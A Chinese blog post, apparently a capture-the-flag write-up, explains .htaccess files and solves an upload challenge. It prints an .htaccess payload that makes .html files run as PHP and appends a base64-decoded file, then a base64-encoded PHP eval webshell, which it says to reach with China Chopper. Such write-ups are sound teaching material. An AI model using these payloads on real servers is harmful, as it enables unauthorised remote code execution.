文件上传漏洞之.htaccess文件解析漏洞

本文介绍了.htaccess文件的用途和功能,特别是其在Apache服务器上的配置作用,如文件类型映射、错误页面定制等。重点讲解了利用.htaccess文件上传漏洞,通过auto_append_file和php伪协议进行绕过的方法,展示了如何在上传后使得HTML文件被当作PHP解析并执行附加代码。此外,还提到了利用此漏洞的实战步骤和环境,以及相关参考链接。
摘要由CSDN通过智能技术生成

文件上传漏洞之.htaccess文件解析漏洞

前置知识

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

  htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
  Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。
  总之,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

  需要注意,.htaccess文件的作用域为其所在目录与其所有的子目录,若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。

漏洞利用

环境来源: Dest0g3 520迎新赛 WEB funny_upload

打开链接,是一个文件上传的功能。

在这里插入图片描述

尝试上传.php文件,以及进行后缀名绕过均无效,发现服务器进行了过滤。

在这里插入图片描述

这里尝试上传.htaccess文件,但是服务器对文件内容也有校验,过滤了php的标签<?
因此这里使用auto_append_file和php伪协议组合进行绕过。

首先上传.htaccess文件

Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-php .html
php_value auto_append_file "php://filter/convert.base64-decode/resource=a.html"

下面介绍一下上传的文件内容。

(1).htaccess参数

常见配法有以下几种:

AddHandler php5-script .jpg

AddType application/x-httpd-php .jpg

Sethandler application/x-httpd-php

Sethandler 将该目录及子目录的所有文件均映射为php文件类型。
Addhandler 使用 php5-script 处理器来解析所匹配到的文件。
AddType 将特定扩展名文件映射为php文件类型。

(2)auto_append_file参数

使用auto_prepend_file与auto_append_file在所有页面的顶部与底部require文件。

php.ini中有两项:
auto_prepend_file 在页面顶部加载文件
auto_append_file 在页面底部加载文件

使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。

在需要顶部或底部加载文件的文件夹中加入.htaccess文件,内容如下:

php_value auto_prepend_file "/home/fdipzone/header.php"
php_value auto_append_file "/home/fdipzone/footer.php"

这样在指定.htaccess的文件夹内的页面文件才会加载 /home/fdipzone/header.php/home/fdipzone/footer.php,其他页面文件不受影响。

使用.htaccess设置,比较灵活,不需要重启服务器,也不需要管理员权限,唯一缺点是目录中每个被读取和被解释的文件每次都要进行处理,而不是在启动时处理一次,所以性能会有所降低。

回到本题,上传:

在这里插入图片描述

上传成功,那其实就是说咱们实现了两个事情:
(在uploads/c47b21fcf8f0bc8b3920541abd8024fd/目录下)
1、html文件都会被当作php文件解析。
2、php文件的底部都会被加上a.html文件的内容Base64解码后的东西。

因此下一步需要再上传一个a.html文件。

Content-Disposition: form-data; name="file"; filename="a.html"
Content-Type: image/jpeg

PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+

在这里插入图片描述

访问页面,成功上传。

在这里插入图片描述

菜刀直接连即可。

在这里插入图片描述

参考链接

htaccess_百度百科

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_shu天的博客-CSDN博客

.htaccess文件上传解析漏洞_mmzkyl的博客-CSDN博客_htaccess文件上传解析漏洞

PHP中auto_prepend_file与auto_append_file用法实例分析_php技巧_脚本之家

htaccess 文件泄漏漏洞是一种安全漏洞,可以导致服务器上的敏感信息泄露。.htaccess 文件Apache Web 服务器中用于配置目录级别设置的文件。它可以用于定义访问控制规则、重定向规则等。 当.htaccess 文件的权限配置不正确或者文件中包含敏感信息时,攻击者可以通过访问.htaccess 文件来获取服务器上的敏感信息,如数据库凭据、API 密钥等。这些信息可能会被攻击者用于未授权访问或其他恶意行为。 为了防止.htaccess 文件泄漏漏洞,你可以采取以下措施: 1. 设置正确的文件权限:确保.htaccess 文件的权限设置为适当的值,通常是 644。 2. 限制访问.htaccess 文件:可以通过服务器配置或其他方式限制对.htaccess 文件的直接访问,以防止攻击者通过URL直接访问该文件。 3. 删除敏感信息:避免在.htaccess 文件中存储敏感信息,如数据库凭据、API 密钥等。如果有必要使用这些信息,应该将它们存储在安全的配置文件中,并确保适当地保护该文件。 4. 定期检查和更新文件:定期检查服务器上的.htaccess 文件,确保其内容没有被修改或替换为恶意代码。同时,及时更新服务器和相关软件以修复已知的安全漏洞。 5. 隐藏服务器信息:通过配置服务器,禁止显示服务器信息,以减少攻击者对服务器的了解。 总之,保护.htaccess 文件安全对于维护服务器安全性至关重要。请注意采取适当的安全措施来防止.htaccess 文件泄漏漏洞的发生。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值